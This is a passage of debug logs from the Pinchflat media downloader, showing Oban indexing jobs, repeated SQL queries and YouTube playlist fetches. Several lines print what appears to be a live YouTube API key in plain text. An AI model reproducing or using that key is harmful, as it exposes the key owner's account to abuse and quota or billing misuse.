m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:17:07.526 [debug] QUERY OK source="media_items" db=0.4ms idle=93.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:17:07.527 [debug] QUERY OK source="tasks" db=0.2ms idle=88.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800171, 22, ~U[2026-02-10 23:17:07Z], ~U[2026-02-10 23:17:07Z]] 17:17:07.527 [info] {"args":{"id":22},"id":3800132,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":164795,"event":"job:stop","queue_time":477523,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:09.192 [info] {"args":{"id":14},"id":3800133,"meta":{},"system_time":1770765429192741282,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:09.193 [debug] QUERY OK source="sources" db=0.1ms idle=314.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:17:09.193 [debug] QUERY OK source="settings" db=0.1ms idle=314.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:09.193 [debug] QUERY OK source="media_profiles" db=0.0ms idle=314.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:09.193 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:09.193 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:17:09.193 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:09.193 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:09.322 [debug] QUERY OK source="media_items" db=0.6ms idle=128.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 17:17:09.324 [debug] QUERY OK source="media_items" db=1.1ms idle=129.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:17:09.325 [debug] QUERY OK source="tasks" db=0.2ms idle=131.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800172, 14, ~U[2026-02-10 23:17:09Z], ~U[2026-02-10 23:17:09Z]] 17:17:09.325 [info] {"args":{"id":14},"id":3800133,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":132393,"event":"job:stop","queue_time":524238,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:11.194 [info] {"args":{"id":24},"id":3800135,"meta":{},"system_time":1770765431194864062,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:11.194 [info] {"args":{"id":4},"id":3800134,"meta":{},"system_time":1770765431194821935,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:11.195 [debug] QUERY OK source="sources" db=0.2ms idle=316.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:17:11.195 [debug] QUERY OK source="sources" db=0.3ms idle=316.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:17:11.195 [debug] QUERY OK source="settings" db=0.1ms idle=317.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:11.195 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:11.195 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:11.195 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:11.195 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:11.195 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:17:11.195 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:11.196 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:17:11.196 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:11.196 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:11.196 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:11.196 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:11.315 [debug] QUERY OK source="media_items" db=0.6ms idle=118.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 17:17:11.316 [debug] QUERY OK source="media_items" db=0.3ms idle=119.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:17:11.317 [debug] QUERY OK source="tasks" db=0.1ms idle=120.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800173, 4, ~U[2026-02-10 23:17:11Z], ~U[2026-02-10 23:17:11Z]] 17:17:11.317 [info] {"args":{"id":4},"id":3800134,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122237,"event":"job:stop","queue_time":534211,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:11.399 [debug] QUERY OK source="media_items" db=0.7ms idle=82.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 17:17:11.400 [debug] QUERY OK source="media_items" db=0.4ms idle=83.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:17:11.401 [debug] QUERY OK source="tasks" db=0.1ms idle=77.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800174, 24, ~U[2026-02-10 23:17:11Z], ~U[2026-02-10 23:17:11Z]] 17:17:11.401 [info] {"args":{"id":24},"id":3800135,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":206872,"event":"job:stop","queue_time":422401,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:12.196 [info] {"args":{"id":26},"id":3800136,"meta":{},"system_time":1770765432196662373,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:12.197 [debug] QUERY OK source="sources" db=0.1ms idle=795.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:17:12.197 [debug] QUERY OK source="settings" db=0.1ms idle=795.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:12.197 [debug] QUERY OK source="media_profiles" db=0.1ms idle=789.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:12.197 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:12.197 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:17:12.197 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:12.197 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:12.339 [debug] QUERY OK source="media_items" db=0.6ms idle=141.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", 